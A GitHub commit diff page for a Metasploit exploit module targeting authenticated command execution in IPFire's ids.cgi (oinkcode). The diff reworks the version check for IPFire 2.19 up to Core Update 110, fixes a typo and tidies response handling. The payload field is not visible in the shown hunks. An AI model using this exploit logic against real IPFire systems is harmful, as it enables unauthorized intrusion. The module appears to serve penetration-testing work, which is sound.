Skip to content

Commit f9493f4

Browse files
committed
bcole fixes
1 parent e005e51 commit f9493f4

File tree

1 file changed

+13
-11
lines changed

1 file changed

+13
-11
lines changed

modules/exploits/linux/http/ipfire_oinkcode_exec.rb

Lines changed: 13 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -66,31 +66,35 @@ def check
6666
'method' => 'GET',
6767
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
6868
)
69-
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
70-
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
71-
/\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
7269

73-
if version && update && version.eql? "2.19" && update.to_i <= 110
70+
if res and res.code == 200
71+
/\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
72+
end
73+
74+
# now that we've pulled the info we need, check version.
75+
if version && update && version.eql == '2.19' && update.to_i <= 110
7476
CheckCode::Appears
7577
else
7678
CheckCode::Safe
7779
end
80+
7881
rescue ::Rex::ConnectionError
79-
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
82+
CheckCode::Safe
8083
end
8184
end
8285

8386
def exploit
8487
begin
8588
# authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179
8689
# after a chat with @bcoles in IRC.
90+
vprint_status('Sending request')
8791
res = send_request_cgi(
8892
'uri' => '/cgi-bin/ids.cgi',
8993
'method' => 'POST',
9094
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
9195
'headers' =>
9296
{
93-
'Referer' => "#{datstore['SSL'] ? 'https' : 'http'}://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/ids.cgi"
97+
'Referer' => "#{datastore['SSL'] ? 'https' : 'http'}://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/ids.cgi"
9498
},
9599
'vars_post' => {
96100
'ENABLE_SNORT_GREEN' => 'on',
@@ -102,11 +106,9 @@ def exploit
102106
}
103107
)
104108

105-
# success means we hang our session, and wont get back a response
106-
if res
107-
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
108-
else
109-
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response")
109+
# success means we hang our session, and wont get back a response, so just check we get a response back
110+
if res && res.code != 200
111+
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})")
110112
end
111113

112114
rescue ::Rex::ConnectionError

0 commit comments

Comments
 (0)